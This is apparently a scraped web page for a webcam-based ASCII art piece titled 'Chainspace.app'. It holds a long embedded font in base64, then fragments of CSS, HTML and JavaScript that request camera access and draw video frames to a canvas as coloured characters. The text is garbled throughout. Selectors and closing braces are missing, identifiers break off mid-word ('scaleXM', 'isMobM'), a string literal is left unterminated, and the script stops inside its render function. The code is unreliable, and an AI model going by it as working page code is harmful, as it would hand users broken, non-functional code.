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) format('woff');
  font-weight: normal;
  font-style: normal;
    text-align: center;
    overflow: hidden;
    background: #eaeaea;
    align-items: center;
    justify-content: center;
  body.mobile #text-video {
    font-family: 'Noto Mathcastles Remix', monospace;
    pointer-events: none;
    justify-content: center;
    align-items: center;
    transform: scaleX(-1);
    -webkit-transform: scaleXM
    background: #171717;
    font-size: 14px;
    justify-content: center;
    transform: scaleX(-1);
    -webkit-transform: scaleX(-1);
    cursor: pointer;
    justify-content: center;
    pointer-events: none;
    background: #fff;
    border: 1px solid #111;
    padding: 3px 10px;
    font-family: monospace;
    cursor: pointer;
    outline: inherit;
    border-radius: 3px;
    flex-direction: column;
    align-items: center;
    justify-content: center;
    font-family: monospace;
    text-align: center;
    margin-top: 20px;
    margin-bottom: 4px;
    background: #222;
    border-radius: 20px;
    box-shadow: 0 0 16px 0 rgba(0, 0, 0, 0.5);
    margin-bottom: 0;
    font-size: 13px;
  <div id="wrapper">
      <video id="video">Portal is closed.</video>
      <canvas id="canvas-video"></canvas>
    <div id="frame">
      <div id="text-video"></div>
      <div id="header">
 You are the art in Chainspace.app
    <button id="stop">Wave</button>
    function run() {
      function isMobM
        return (typeof window.orientation !== "undefined") || (navigator.userAgent.indexOf('IEMobile') !== -1);
      const video = document.getElementById('video')
      video.setAttribute('autoplay', '');
      video.setAttribute('muted', '');
      video.setAttribute('playsinline', '')
      const textVideo = document.getElementById('text-video')
      const canvas = document.getElementById('canvas-video')
      const ctx = canvas.getContext('2d', { willReadFrequently: true });
      let cyclerEnabled = false;
      let cycler = 0;
      let isMobile = isMobileDevice();
      const chars = [..."
      const colors = ["#e9e3d5", "#e3b0bc", "#171717", "#171717", "#da709a", "#da709a", "#db759d", "#c01d10", "#c72612", "#171717", ];
      let running = true;
      function setCanvasSize() {
        w = Math.min(window.innerWidth, 450);
        h = Math.min(window.innerHeight, isMobileDevice() ? 600 : 450);
       height = Math.floor(h / 10);
        width = Math.floor(w / 6.9);
      let resizeTimeout;
      window.onresize = function () {
        clearTimeout(resizeTimeout);
        resizeTimeout = setTimeout(setCanvasSize, 100);
      const init = () => {
        setCanvasSize();
        document.body.classList.add(isMobile ? 'mobile' : null)
        navigator.mediaDevices.getUserMedia({ video: true, audio: false })
          .then(function (stream) {
            video.srcObject = stream;
          .catch(function (err) {
            running = false;
      const render = (ctx) => {
        if (width && height) {
          canvas.width = width;
          canvas.height = height;
          ctx.drawImage(video, 0, 0, width, height);
